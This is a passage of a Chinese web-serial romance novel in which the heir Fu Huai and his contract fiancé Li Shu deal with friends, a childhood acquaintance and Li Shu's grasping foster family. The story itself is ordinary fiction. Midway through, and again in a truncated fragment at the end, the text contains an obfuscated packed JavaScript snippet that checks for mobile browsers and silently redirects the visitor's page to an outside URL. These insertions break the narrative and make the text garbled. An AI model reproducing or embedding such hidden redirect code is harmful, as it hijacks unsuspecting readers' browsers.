喝水都要小口小口的,唇色还有些微红,看着似乎很润。喝完还要拿纸巾擦拭,纸巾仔细叠好,在微微有些上翘的唇珠处轻轻按压。 傅淮撇开头,不动声色地清了清嗓子。 他一向不喜欢这种装模作样的人。 傅淮又快速补了一句:“当然,我也看不上你。” 急匆匆说完,傅淮还以为黎书会生气。 没想到,对方低着头,什么话都没说。 - “今天怎么来突然学校了?” 张延不解地转头看向傅淮。 “废话,结课肯定得来,不然我怎么毕业?” 傅淮斜了他一眼说道。 “前两天那门结课你不也没来。”张延小声嘀咕了一句。 “对了,今天怎么走这边?”一旁的周阅突然问了一句,“绕了个大远路。” “这里都是操场和实验楼,连个人影都没有。” “废话,当然是因为这边安静。”傅淮给了他一个眼刀,“话这么多。” 然而,才刚说完安静,就听对面隐隐响起了些嘈杂声。 “还给我在这里装什么?” “……” 张延突然转头看向傅淮:“那不是……” 话还没说话,一旁的傅淮早已大步走上前去。 “你们黎家都收了我们赵家的钱了,你还装什么呢?” 操场边上,赵钰堵着黎书,一手撑在墙上,似笑非笑道:“别的不说,我妈给我挑的人还真不错啊,长这么好看,来让我仔细看看……” 黎书藏在宽松衣服下的手臂肌肉绷紧,正要发力,突然听见身后带着些散漫的嚣张声音响起。 ——“再动手给你剁了啊。” 声音有几分熟悉。 竟然是傅淮。 黎书垂在一侧的手臂放松了下来。 赵钰看着有点怕傅淮,但就这么被打断,又有些不甘心:“淮哥你别管,他们黎家拿了我家的钱,他就得……” 还没说完,赵钰撑在墙上的手已经被傅淮反扭着拧了下来。 “那你听好了——”傅淮斜靠在墙上,漫不经心地开口说道,“你脚下这操场是傅家的,你滚出去,这辈子别进来了。” “哦,顺便告诉你,体测没分是毕不了业的。”傅淮又慢悠悠地加了一句。 “不是,淮哥……” 赵钰正要开口,傅淮懒得和他说话:“钱我会还给你们赵家,你以后离他远点。” “我——” 听说联姻对象是黎书的时候,赵钰还兴奋了不少日子,就这么被傅淮给搅和了,赵钰一肚子闷气,但他也不敢跟傅淮杠上,只能垂着头悻悻走人。 赵钰走远后,傅淮拉着在一旁目瞪口呆的张延周阅两人也转身走了。 过了几天,噩耗传来。 老爷子告诉傅淮,说他和黎书的联姻已经确定下来了。 傅淮大惊。 之前他都说了看不上黎书了,他这都能同意? 这都不生气吗? 难道是之前在操场上赶走赵钰那次就对他一见钟情了? 傅淮顿时急了。 他猛地站起身来,就要去和黎书解释清楚,他那次只是看不上赵钰这样的人才顺手帮忙,和黎书又没有关系! 周五的校园里满是欢乐祥和的氛围。 刚下课的学生们成群结队,拎着书本边走边聊着周末去哪里玩。小情侣们挽着手提前翘课出去吃饭。独自一人快步往宿舍里赶的,大概早已点好了外卖等着一边刷剧一边饱餐一顿了。 微风轻拂过,带着欢乐的气息走遍了校园,也带着几片枯叶落在了黎书的肩上。 似是被这样的气氛感染,黎书微微笑着,抬眼看向眼前的人。 同在研究院的学长站在一旁温和笑着,帮黎书把肩上的落叶摘去。 随后说道:“他们那些大家族都是泥潭,你千万不要轻易掉进去了。” “要是有什么困难你一定要跟我说,我帮你。” 傅淮脚步顿住,霎时抬起了眸。 4. 第 4 章 “什么泥潭?”傅淮顿时瞪大眼睛,“老爷子允许他管天管地什么都管,他可是来我家当土皇帝的!” 傅淮不知道是不是因为他那次一时冲动,没能成功负隅顽抗他和黎书的联姻。 导致今天他神清气爽地刚一洗完澡出来,正要准备溜出门和张延他们出去走走,就被黎书当场无情地拦截下来,扔了一沓书和资料堆在了他的跟前。 “不是,订婚宴这才刚结束,连一天的休息都不给吗?” 傅淮的抗议声还没落下,黎书早已经转身走了出去,直接无视傅淮的凄惨哀嚎。 “今天可是大周末啊——” 傅淮伸着懒腰瘫倒在椅背上,话刚说到一半,突然,他眼神一闪,顿时从椅子上弹了起来。 ——他看见,黎书走进了隔壁的衣帽间。 衣帽间里安装的是大块的磨砂玻璃门。 从外面看进去,只能看见柔黄的灯光下,里面那人模糊的单薄侧影。 傅淮慌忙一个向后转避开了视线。 按着傅淮对黎书的基本了解,黎书是个只埋头于实验室的学术研究,还有在家管着他压迫他的人。 对于自己的穿着打扮,并没有什么太大的追求,直接套上一件白大褂就能进实验室。 还真是浪费了他的这张好脸和这副好身材。 傅淮默默想着。 所以,黎书进衣帽间,不像是某些臭美的人那般,在家一天也要换个好几件衣服在镜子前自我欣赏。 黎书进衣帽间,完全只是为了礼貌得体,换下睡衣出门而已。 他要出门? 傅淮顿时抬眼看去。 今天是周日,黎书不用去实验室。 所以,他这是要去哪里? 还没想出个所以然来,傅淮听到身后滑轨移动的声音,衣帽间的门已经被打开。 傅淮转过视线,盯住了从里面出来的黎书。 和平日里不是睡衣就是白大褂的打扮不太一样,黎书今天换了一件清爽的白T和牛仔裤,头发刚洗过,乖顺地垂在额前。 没有了白大褂时自带的实验室消毒水那般冰冷的感觉,看上去倒像是校园问路时有幸偶遇的如沐春风的大学校草。 傅淮不自觉地移开了视线,突然又猛一转过了头。 对了! 黎书一会儿要是出去的话,那不就管不了他了? 那等到等黎书出去之后,他不就能正大光明地出门找张延他们去了? 然而,还没兴奋几秒,随手理了理头发,从衣帽间里大步走出来的黎书像是听见了傅淮脑中的想法一般突然盯住了他的眼睛,随后便开了口:“对了,你今天得去公司一趟。” “去公司干什么?”傅淮问道。 “和之前一样多去学习学习。”黎书说道,“老爷子安排的,会有人在公司那边等你。” “什么?又去?!” 傅淮大惊。 这日子,也不知道什么时候是个头。 原本即将毕业的这一段空闲时间,傅淮早都安排好了出去露个营赛个车什么的,现在看来,估计是都要泡汤了。 他不会这一辈子都这样了吧? 傅淮头一次感觉,他的未来看不到什么希望了。 才刚喝完酒舒舒服服睡了一大觉,傅淮觉得他此刻的头脑十分的清醒。他准备坐下来,和黎书好好聊聊今后的事情。 和老爷子不同,傅淮觉得,黎书这人,至少还是可以沟通的。 他和和黎书坐下来好好谈谈,以后能不能不要再这么管他了。 要是还这么管他的话,他就直接离了,谁怕谁啊,兔子急了还要咬人呢!他可不是什么好欺负的人! “那个……” 傅淮找了个位置坐了下来,在脑中酝酿着准备和黎书开口。 “嗯?” 黎书转头看了过来。 傅淮看向他,斟酌着开了口:“你说这昨天才刚订婚宴,要离也不太……” “叮咚”——! 门铃声猝然响起,打断了傅淮还没说出口的话语。 黎书有些怔愣地看向傅淮,而门铃还在坚持不懈地继续响着,他也没再说什么,快步向前走到门口,一伸手打开了别墅的大门。 “淮哥……” 门才刚打开一条小缝,就有一股力迅速从外面往里推了进来。 黎书退开一步正要避让,却有人灵活从那门缝里钻了进来,飞身扑向他道:“淮哥!” 或许是身高体型有明显差别,黎书虽然个子也很高,但却还是和傅淮差了一点,体型也比他偏瘦不少。 飞扑进来的那人顿时察觉出了什么不同,抬眼看到自己紧拽着的手臂竟然不是傅淮,而这人竟然在傅淮家里,顿时脸绿得跟吃了苍蝇一样。 “谁啊?”傅淮往门口这边走了两步,“怎么这么吵?” “是我啊淮哥。” 那人忙放开黎书的手臂,又朝着傅淮飞扑过去。 “舒许?”傅淮一闪身避开,“别碰我啊,刚洗完澡换的衣服。” 又随口问了一句:“你怎么来了?” 问完,傅淮昨晚醉酒的记忆突然回笼,他记起了昨天在酒吧里,想着黎书会不会大连环夺命电话来催他,没想到没等来黎书,倒是等到了舒许的电话。 而他那会儿心情不好,就直接给摁掉了。 刚刚他睡醒起来之后,确实也收到了周阅给他发来的信息,说是舒许已经回国了。 应该是有什么事情过来找他? 昨天没接人电话,今天就直接找到家里来了。 什么事情这么急吗? 舒许绕开黎书,丝滑转悠到了傅淮的身旁:“我昨天给你发的信息你看了吗?” “怎么不回我呀?”舒许说道,“我昨天可是等了一晚上呢。” “什么信息?” 傅淮一脸疑惑,拿出手机看了一眼。 这么几句对话下来,一旁的黎书倒是清楚了。 原来这个人就是舒许。 傅淮昨天晚上瘫在沙发上都醉得不省人事了,还急着看手机,把醒酒汤都给打了,想要看的就是他的信息? 那怎么还没看呢? 昨天喝多了一晚上没看手机,早上起来信息一大堆,傅淮刚刚一溜烟看下来,确实把舒许这条被挤到下面的信息给看漏了。 他点开来瞄了一眼。 一张不知所云的照片,还有一句找他吃饭的话? 这重要吗? 还非得专门这么跑来一趟? “还有什么别的事吗?”傅淮不解地问道。 “还有……”舒许张了张口,刚刚打好腹稿的话就这么被傅淮的这个问句噎在了肚子里。 下一秒,他的眼睛顿时渐渐泛了红。 “是不是我父母不在了,我们的事情就不算数了?”舒许低下头,声音听着微微有些颤抖,“我记得从前,你总是还带我一起去吃好吃的……” “不是,我什么时候带你去吃好吃的了?” 似是终于察觉到了舒许的真实意图,傅淮慌忙转头看向黎书,解释道,“那会儿我们一大帮人一起聚会呢,是我找的地儿是我请的客,但不是专门带你去的好吗?” “哎,你去哪儿?” 说完这么一长串的话,傅淮换了口气,这才发现黎书似乎并没有认真听他刚刚说的那些话,而是突然迈步朝着里屋走去。 什么情况? 不会因为这事生气了,真要收拾东西走人了吧? 傅淮赶紧上前几步。 他和舒许明明什么关系都没有,只是在很小的时候,两家大人开玩笑地提起过一嘴而已,之后长大了他和舒许也没有多熟,再然后舒许全家就出国去了,傅淮也没和他再联系过了。 黎书走进书房,目光在昨天晚上锁好的柜子上迅速划过。 锁都是完好的,上面和侧面都堆了好几本书,甚至还放着一只不知买什么送的小玩偶。 确定不会被人看到后,黎书听到后面的脚步声响起,便随手把书桌上的几本科研杂志整理了一下。 傅淮正要大步走上前来,黎书已经从书房里走了出来。 和傅淮想象中的收拾东西走人不太一样,黎书似乎只是去书房里整理了一下桌上的书和杂志,出来时手里什么都没有拿。 不愧是天天泡在实验室里的人,真是洁癖加上强迫症。 看见亦步亦趋跟在身后的傅淮,黎书转头看向他,难得朝他笑笑,随后说道:“你们慢慢聊,我出去一趟。” “啊?” 傅淮一时有些没反应过来。 就这么把他和舒许放在一起? 黎书他就这么放心吗? 他难道不担心他们会发生些什么吗? 黎书说完,径直朝着门口走去。 “不是——” 傅淮一时似乎有些不知所措。 难道他真的生气了? “我聊什么,我跟他能有什么好聊的……” 傅淮忙上前一步说道。 就在这时,走在前面的黎书突然顿住了脚步。 傅淮心头一喜,小声嘀咕:“你看看,装得那么大度,还不是偷偷在意……” “对了——”黎书转过头,一手指向傅淮,叮嘱他道,“你一会儿得去公司一趟别忘了啊,老爷子跟我说好了的。” “我——” 傅淮这下是真的愣住了。 片刻他转过头来,不再去看远处黎书已经消失了的背影,又顿时和身后紧跟着他的舒许对上了眼。 傅淮一转头瞪他道:“你怎么还在这里?” - 从傅家别墅出来,黎书先是去了一趟银行,照例给几个账户转了一笔钱。 从银行出来,站在十字路口等红灯。 黎书低着头,在脑中大致算了算,每个月老爷子给他的报酬,再加上三年合约结束后的一大笔钱,应该是完全够了的。 虽然昨天才刚订婚宴,但说快也挺快,距离他第一次见傅淮,已经过去挺长一段时间了,他也管了傅淮有一段时间了,三年应该也不会太慢。 最近有了老贾的帮助之后,他要查的事情也已经大有进展,等到合约结束,所有的事情全都落幕,他也可以顺利离开这里了。 毕竟,黎书也是刚刚才知道,傅淮原来本身是和别人有婚约的。 根据舒许的说法,黎书初步判断,他应该算是傅淮的小青梅,两人从小就有婚约。 但后来舒许和他父母一起出国了,而傅淮大四即将毕业,傅老爷子急着要找人管制傅淮,所以在和黎书的导师聊过之后,紧急找到了他。 这么说来,难怪傅淮之前一直反抗和自己的联姻一直想离,原本和别人青梅竹马,到头来自己这么横插一脚,傅淮他心里不舒服也很正常。 不过,他们两人虽然对外说是联姻,但应该也不算婚约,老爷子也没和他提过舒许的事,估计也只是当一场普通的合约而已。 到时候合约结束,也不影响傅淮和舒许继续。 倒计时三二一,绿灯开始亮起。 黎书很快走进人流里,随着人流朝着对岸涌去。 钱转过去后不久,黎书的手机收到了一跳微信:“下课了。” 来自陈杨。 对岸的马路边上人不是很多,黎书站在路边,笑着回道:“周日还上课啊。” “嗯。”对面也很快秒回,“实践课,我想着多赚点学分就去了。” “饿吗?请你吃饭。”黎书说道。 “我请吧,每次都是你请。”对面说道。 “也好。”黎书回复了一句。 再往前走几步,就到了A大的北门。 黎书一抬眼,就看见门口站着一个年轻的小学弟,远远就望见了他,正兴奋地抬手和他打招呼:“这儿这儿!” 似乎等不及黎书走过去,陈杨迈步已经从校门口往他这边奔了过来:“学长!你今天看着都快要像我的学弟了!” “是吗?”黎书笑道,“说了不用叫我学长,叫名字就行。” “好。”陈杨听话应道,“去西门那边吃行吗?我听同学说说新开了一家挺好吃的砂锅。” “行,听你的。”黎书点头。 从北门到西门不算太远,两人走操场那边的小路绕过去。 走过操场和一大排实验楼,就能到另一头的西门。 “我以后也想像学长你一样去实验室里做研究。”陈杨突然说了一句。 “好啊。”黎书笑着点头。 实验楼看着很新,一看就是后来新修过的,和A大这个百年老校周围的古朴的环境有些不太搭调。 旁边立着一块石碑,上面写着“黎家赞助”。 很多学校都有赞助费,这不稀奇,就像傅家修了学校的操场和图书馆,黎家修了这边的实验室。 和别处不同的是,这实验楼看着格外新,每隔几年都在翻新。 黎书收回了目光。 好几年前,实验楼这边发生过一场事故,实验室爆炸,当时有不少学生和研究员在事故里丧生。 “走吧。”黎书揽住陈杨的肩,快步往前走,转头问了一句,“这个月的钱收到了吗?” “嗯,收到了。”陈杨点头。 片刻,又张了张口问道:“这个钱……” “是慈善保险那边按月赔给你哥哥的。”黎书这么说道。 陈杨的哥哥陈午,当年就是在这场事故里不幸丧生的。 同样在这场事故里去世的,还有黎书的父母。 沉默片刻,黎书转头拍拍陈杨的肩膀,正要说些什么。 这时,他手里的手机突然响了起来。 黎书拿起来一看,脸色顿时沉了下来。 - “哎你快看,那不是嫂子吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776625|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 校门口的咖啡厅内,周阅突然站起身来,伸手一指便喊道。 “哪儿?”张延探头,朝他指的地方仔细看了看,很快确认般点头,“好像是的。” “不是。”周阅不解道,“淮哥不是刚刚才抱怨嫂子在家压迫他吗?这不也没在家啊,在外面吃吃喝喝不是挺快活的。” “哎,不对!”再一看,周阅顿时瞪大了眼睛,“嫂子旁边那人不是淮哥!” “那是谁啊?”周阅都快要趴咖啡店窗户玻璃上去了。 “不认识。”张延摇头。 “他身上背着A大标志的包,应该也是A大的。”周阅若有所思道,“学弟吗?” “可能吧。”张延说道,“刚刚好像是从A大那边出来的。” “他们两个人一起吃完饭出来,还说说笑笑的走这么近。”说着,周阅看着有些急了,“要不要告诉淮哥啊?” “先不用了吧。”张延说道,“只是一起吃个饭而已,说不定只是关系好的朋友呢。” “你看咱俩不也坐这么近说说笑笑地吃饭吗?”张延看了一眼正要趴过来看菜单的周阅说道。 “也是啊。”周阅想了想,点头道,“黎书这么喜欢我们淮哥,应该不会这样的。” “叫我干什么?” 傅淮的声音在背后响起。 周阅顿时像做了什么亏心事一般猛地心头一跳。 他一缩脑袋,迅速转头朝玻璃外面瞥去。 还好,刚刚还在那便的黎书和另一个看着像是学弟的人,此时已经走远看不见了。 周阅回过头,对上傅淮怀疑的目光,不安地朝着一旁的张延看去。 张延抬头招呼傅淮道:“淮哥,坐。” 傅淮倒也没有再问什么,拉开椅子坐了下来。 “不是刚刚还说今天不能出来吗?”张延转头问了他一句。 “哦,黎书有事出去了。”傅淮说道。 “哦。” 张延和周阅两人对视了一眼。 “你们今天怎么了?”傅淮抬眼,盯住眼前这两个表情看着有些不太自然的人,问道,“眼睛抽抽了?” “没,没有。”周阅忙摆手道。 “你们是不是有什么事情瞒着我?”傅淮说道,“刚刚我进来的时候就在那儿嘀嘀咕咕的。” “我们刚刚是在说黎书……” 周阅还是禁不住傅淮的眼神攻击,忍不住张了张口。 一旁的张延马上开口打断:“说黎书总这么管着你,是有点儿过分了。” “就是。”说到这个,傅淮顿时就来劲了,“他今天自己出去了,还要求我去公司里学习呢。” “我去公司坐了一会儿就趁经理不注意跑出来了。” “那经理可比黎书好对付多了。” “黎书这人,真是比老爷子还要难缠。” 傅淮埋头叹气道。 “但你昨天在酒吧这么晚才回去,他不是也没说什么吗?”张延说了一句,“还专门给你准备了醒酒汤呢。” “醒酒汤?”傅淮对这似乎没什么印象。 “是啊,还问我们要不要呢。”张延说道。 周阅也在一旁点头表示确实如此。 真的有醒酒汤?那他怎么没有印象? 他昨天晚上喝了吗? 可能是昨天喝醉的时候,黎书喂他了? 不对。 怎么喂的? 人在醉酒的情况下,还能自主进食吗? 傅淮表示有些怀疑。 不过,他可以确认的是。 醒酒汤没有撒,他昨天的衣服上也没有溅着什么汤水。 不会是——他想的那个方式喂的吧? 傅淮的脑中,不知怎么又浮现了他第一次见着黎书时,黎书喝完水,拿纸巾轻轻按在湿润的唇角上。 唇角泛着微红,触感应该是柔软的。 “淮哥你热吗,脸怎么这么红?”思绪突然被打断,傅淮听到周阅咋咋呼呼的喊声,“要不你坐我这儿,这儿正好是空调风口。” “没有,我不热。”傅淮猛地一转头,当即提高声音否认道,“坐你的!” “哦,行。” 周阅也不知道傅淮怎么突然这么大反应,又重新坐了下来。 “对了,刚刚说什么来着了?”周阅说道,“对啊,昨天晚上,你回去这么晚,黎书好像也没有生气啊。” “要不——”周阅提议道,“今天也晚回去试试?” 倒是可以一试。 傅淮点头道:“行,就这么办。” 说着,傅淮郑重地端起手机,点开黎书的对话框。 随后,小心翼翼地在对话框内打下了这么一行字:“我晚上有事不回来了。” 收到傅淮信息的时候,黎书正好接完电话。 他放下手机,面无表情地点击挂断。 手机屏幕上“黎家夫妇”的字眼一瞬间黑了下去。 片刻又亮了起来,是傅淮的信息。 黎书看了一眼,随手回复道:“好的。” 正好他今天晚上也有事。 咖啡厅内。 三个人头凑在一起盯着桌子中央的手机,很快看到手机屏幕亮了起来,随之而来的,是黎书的回复:“好的。” “什么?”周阅顿时睁大眼睛,不可置信地转头看向一旁的傅淮,忍不住质疑道,“这不是很好说话吗?嫂子真的平时有在压迫你吗?” 不光是周阅,傅淮一时也愣住了。 他下意识伸手打字道:“你也不问问我有什么事?” 打完又马上撤回,重新又打了一句:“我要和别人吃饭。” 黎书又很快回:“好的。” 就这?也不问问他和谁吃的饭? 今天早上舒许才刚来过呢,这么没有危机感的吗? 刚这么想着,对话框最上方,突然出现了“对方正在输入”这几个字眼。 肯定是想问的,估计是在组织语言。 果然还是在意的啊。傅淮暗暗这么想着。 很快,上面的“对方正在输入”消失,变成了实质的发过来的信息。 “几点回?”黎书这么回复道。 “啪”的一声,似是没有听到自己想听的话,傅淮重重放下手机。 随后开始抱怨:“你看,又来管我!” 傅淮左右瞥了一眼神色各异的张延和周阅,拿起手机继续回复。 打字才刚打到一半:“不用你管……” 对面又突然跳出来一句:“你要回来了直接和司机说吧,我这两天应该不在家。” 傅淮不再去管旁边好奇探着的两颗脑袋,顿时惊道:“你人呢?” 这次,没有“对方正在输入”。 对面没有再回复了。 傅淮蹭的一下站起身来。 “干什么去了?” “和谁?” 5. 第 5 章 傅淮这么“噌”的一站,坐在他一左一右的张延和周阅两人下意识往后微微一仰。 这么一仰之后,也就顺势仰头看见了正站在中间左右看看,似乎马上就要冲出去找人的傅淮。 两人见他着急,纷纷露出了疑惑的神情。 “这……这不是好事儿吗?”周阅犹豫着开口道,“他要是两天不在家的话,那不就说明,你有两天自由活动的时间了,想干嘛就干嘛,今天一晚上不回去都行!” 一旁的张延点头表示同意。 空气沉寂了一秒。 片刻,周阅又再犹豫着开了口:“淮哥,你……怎么这个表情啊?” “不是,这——”看见一左一右两双眼睛盯着他看,傅淮脸上难得空白了一秒,不过很快又恢复了回来。 像是突然捋顺了什么逻辑一般,傅淮顿时转头瞪向周阅,解释一般一字一顿说道:“不是,我生气的是,凭什么每次都是我向他报备,黎书他自己的行程怎么从来都不向我报备?” “这不公平!” 傅淮拉过椅子重重坐下,一脸义愤填膺道。 从小和傅淮一起玩到大,张延和周阅都了解,傅淮虽然有个傅家太子爷的名头,不过平时生活中倒是也没什么太大的少爷脾气,在小事上也不是什么不好说话的人。 相反,大多数事情,他都不太乐意去理会,随便看一眼也就过去了。 而真要惹到他的话,傅淮一个冷眼,对面也立刻吓得屁滚尿流。 两人似乎这还是第一次听他这么用力地解释这什么,双双睁大眼睛惊奇地对视。 “哦……”周阅被他说得一愣一愣的,“好像也是哦。” “是吧?”听到有人肯定,傅淮瞬间满意了,点点头说道,“我就说他很过分吧。” “是是是。” 周阅虽然还是不太明白,明明什么都没有说的黎书到底哪里过分了,但看见一旁张延暗示的眼神,也只能这么点头应和道。 说完,周阅似乎想到什么,顿时转头看向傅淮:“对了淮哥,你刚刚说的互相报备,我倒是听老王他们说了。” “现在的小情侣都流行互相设置紧急联系人,这样只要不是司机接送的话,基本的行程对方就都能看到了,老王和他女朋友他们好像都这么设置了。” “好像是的。”一旁的张延也点头道。 “这样啊。”傅淮点了点头,似是若有所思。 但又马上瞪眼道:“我和他又不是情侣!” “也是,那就别弄了。”周阅说道。 在咖啡厅坐了一会儿,也差不多吃饱喝足了。 “等下去哪里?”周阅站起身,正要转头问话,突然又被一旁的傅淮薅着后衣领子坐了下来。 “等下——”傅淮握着手机,表情似是有些不易察觉的别扭,“你刚刚说的那个什么紧急联系人,怎么弄的?” 一旁正要准备走的张延:“……” 张延也跟着重新坐了下来,别有意味地看了傅淮一眼。 - 黎书低头,看见手机屏幕上的来电人显示着“黎家夫妇”的字样,他嘴角原本带着的浅淡笑意终于消失殆尽。 “我先去接个电话。” 黎书掩去眼里的冷意,转头温声对一旁的陈杨说了一句。 “好。” 陈杨点点头,乖顺地站在原地等待。 走到一旁的无人的角落处,黎书深吸一口气,伸手按下了接听键。 “怎么这么久才接?” 电话那头的声音铺天盖地涌来,明明隔着这么远的距离,依然像是能把他吞没一般。 “嗯。”他没说什么。 或许是有要事要讲,对面的黎夫人也没再追究,很快开始了新的话题:“黎书啊,再过几天是不是就是傅淮的生日了?” 没料到对面的黎夫人突然说起这个,黎书不由地一愣:“是吗?” “你连他的生日都不知道?”听到黎书迟疑的语气,对面的黎夫人声音顿时尖锐了起来,“你说你这些天都干什么去了?” 黎书没有说话。 他确实不太清楚,也没有提前了解过,傅淮的生日到底是什么时候。 “他的生日就在一周后!记住了没有?”对面尖锐的声音继续刻薄地说道,“你不会以为进了傅家的门就能高枕无忧了吧?傅淮身边有多少莺莺燕燕等着上位你不知道吗?你以为你每次都能有这种狗屎运吗?” 黎家夫妇不知道黎书和傅老爷子三年协议的事。 原本和赵家的联姻突然换成了黎家根本高攀不上的傅家,也不知道老爷子是怎么和黎家夫妇说的,他们似乎一直以为,是黎书在校园里偶遇傅淮,两人之间不知发生了些什么,才促成了这段姻缘。 一大段话急躁地脱口而出之后,似乎想到以后还要靠黎书,黎夫人霎时间又缓和了些语气,开口对黎书说道:“你大哥最近手头上的项目不好做,你也知道我们家的资金链才刚恢复,正是紧要关头。” 黎夫人口中的大哥,就是黎家夫妇的亲生儿子,黎嘉。 黎嘉比黎书大几岁,已经进了黎家的公司开始接手项目。 但他一向眼高手低没什么本事,项目搞砸也属实正常。 稍微顿了顿之后,电话那头的黎夫人又继续说道:“下周就是傅淮的生日宴了,你准备……” 说到这里,黎书已经大致了解了黎夫人这次联系他的主要目的。 那就是——把他大哥给弄进傅淮的生日宴。 这些大家族的宴会,说是生日宴什么宴的,参加的人大多都是各大家族的重要人物和未来的接班人,是各家谈生意、结识和交换人脉资源的好机会。 黎家最近不止是他大哥的项目,整个公司都不太好过,确实急需要一些新的资源。 “我……” 黎书才刚说了一个字,对面的黎夫人又紧接着开了口:“——黎书啊,你从小就在我们家长大,你大哥有的我们也都给你一样的,上学也都是一样上的私立,大哥从小就很照顾你……” “现在你进了傅家,可不能忘了你大哥啊。” 黎书回想了一下自己来了黎家之后的生活,轻笑一声,忍不住想对对面的黎夫人说:“你这么说的话,要不直接让大哥来和傅淮联姻算了。” 话还没出口,黎书突然又想到了什么。 他很快把这句话咽下了喉咙,点头说道:“好,我会想办法的。” 黎家夫妇虽说从小也没怎么管过黎书,不过怎么说黎书不到十岁就到了黎家,黎夫人对黎书还是有一定的了解的。 他们知道黎书,他既然这么说了,就代表事情已经定下来了。 电话那头的黎夫人眨眼就换上了一副笑颜:“黎书啊,这两天在傅家过得怎么样啊?阿姨好久没看见你了,什么时候回家吃饭啊?” “不麻烦了。” 黎书说完,抬手挂了电话。 - 黎书当时和傅淮说的是他这两天不在家。 终于熬到第二天晚上,傅淮实在无聊,被张延周阅叫去一起看电影。 大屏幕上,放的似乎是最近新上映的一部动作片,傅淮原本挺喜欢这个系列。 张延和周阅坐在傅淮两边,时不时看见他的手机一会儿亮一下,一会儿亮一下,却始终没有震动声传来。 ——不是有人时不时给傅淮发信息。 而是傅淮自己时不时摁亮屏幕,低头看一眼手机。 “怎么了?”周阅忍不住凑过去头问道,“不好看?” 这么一看,他却突然眼尖地瞄见,傅淮此时正亮起的屏幕上面,显示的是黎书的微信对话框。 对话框里,还停留着两天前的傅淮发过去的最后一句话。 此后,一直就没了动静。 傅淮点开微信,又往上一滑退出。 如此重复了好几遍后,他忍不住点击屏幕,开始打字:“我还没吃饭。” “想喝清炖汤。” “好。”对面竟然很快回复,“我让阿姨给你做。” 震动声响起的时候,傅淮手一抖,赶紧回复过去:“你在家?” “嗯。”黎书点头。 黎书已经回家了,看到他没在家,竟然也没催他回去? 傅淮握着手机等了片刻,也没见黎书再发什么来。 傅淮忍不住继续打字道:“我现在在电影院。” 发送成功后,傅淮看见对话框上面的“对方正在输入”亮了起来。 几秒钟后,又突然消失了。 他偷偷跑出来,黎书难道生气了? 傅淮正要说什么,没想到黎书很快便回了一句:“要把汤送去电影院?” “啊?”傅淮顿时愣了。 “哇!”一旁偷看的周阅忍不住暗自惊讶,“这哪里压迫了,嫂子明明对你这么好!” 惊讶声没怎么压住,被旁边的傅淮给听到了。 傅淮不知怎么忍不住得意了一下,低头回复道:“好啊。” 傅家别墅里。 阿姨把汤装进保温袋,抬头望了望外面已经完全暗下来的天色。 “这么晚了,要不您就别去了,我帮少爷送去?” 在阿姨的眼里,黎书不仅性格好不为难人,说话也从来都是轻声细语的,在她忙的时候还会顺手帮忙收拾。 她很喜欢黎书,不自觉就替黎书着想,觉着傅淮这么晚还要人送东西确实有些过分了。 而黎书却笑着摇头道:“不用阿姨,也没多少路。” 平时黎书就让司机送去了。 但毕竟他那大哥还要参加傅淮的生日宴,黎书还得要征求傅淮的同意。 黎书拎着保温袋,很快便走出了别墅大门。 电影院内。 傅淮正懒洋洋靠在椅背上晃着脑袋。 这边是周阅家的电影院,他们几人过来,也算是半包场了,影厅内基本没什么人。 “两天的放纵期马上就要结束了,怎么心情还这么好?” 周阅侧头看了傅淮一眼,一时有些不解。 傅淮转头笑笑,也没说什么。 这时,他突然感觉,侧边似乎挤进来一个人。 面前的大荧幕播放的正是夜晚的场景,周围暗沉沉的也什么也看不清。 傅淮以为刚刚出去上厕所的人要进来,侧身避开了一些。 等了一会儿,边上那人依旧站着没走。 傅淮皱了皱眉,抬眼一看。 此时电影的场景已经变换成了大白天,光线照亮了周围的环境。 傅淮这才看清,突然出现在他旁边的这个人,竟然是舒许。 “你们看电影怎么也不叫我啊?” 舒许开口,嗔怪地说了一句。 随后,看着坐在傅淮旁边的周阅,舒许伸手在他肩上轻轻一推,示意他坐过去一个位置,把傅淮旁边的位置空出来给自己。 周阅正往嘴里送爆米花的手霎时顿住,他半张着嘴,愣愣地转头,想要看看傅淮的意思。 这时,“嗡——”的一声。 傅淮手里的手机猝然亮了起来,在黑暗的电影院中格外刺眼。 上面,是黎书发来的消息:“我到了,你在哪个厅?” 傅淮一惊,手忙脚乱地捏着手机,一伸手就要把直直挤过来的舒许往外推去。 正要回复消息,傅淮已经听到,边上走道的脚步声逐渐逼近。 黎书来了。 舒许被傅淮推地往后一步。 他踉跄着稳住身形,正好和拎着保温袋前来的黎书脸对脸地打了个照面。 在这里看见舒寻,黎书只一愣,没说什么,伸手把阿姨仔细装好的保温袋递给傅淮。 舒许瞪眼看着黎书手里的保温袋,他今天什么也没给傅淮带,倒是突然感觉有些局促。 空气沉寂了几秒,就连电影此刻也寂静无声。 黑暗中,傅淮也看不到此时黎书的脸色。 他没敢对视,迅速接过举在他面前的保温袋。 动作太过匆忙,黑暗中,黎书握着保温袋的指尖轻轻划过傅淮的手掌。 似是一股轻柔的酥麻感,异样划过了半边身体。 傅淮顿时像被烫到一般,拽过袋子猛一缩手。 黑暗中黎书也没大看清,不小心碰到了傅淮。 他也没料到傅淮的反应竟然这么大。 大概是不想在朋友面前和他有什么接触? 再加上他的小青梅舒许也在。 黎书自觉退开一步,又忍不住在心里叹气,也不知道生日宴会的事,傅淮会不会答应。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776626|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 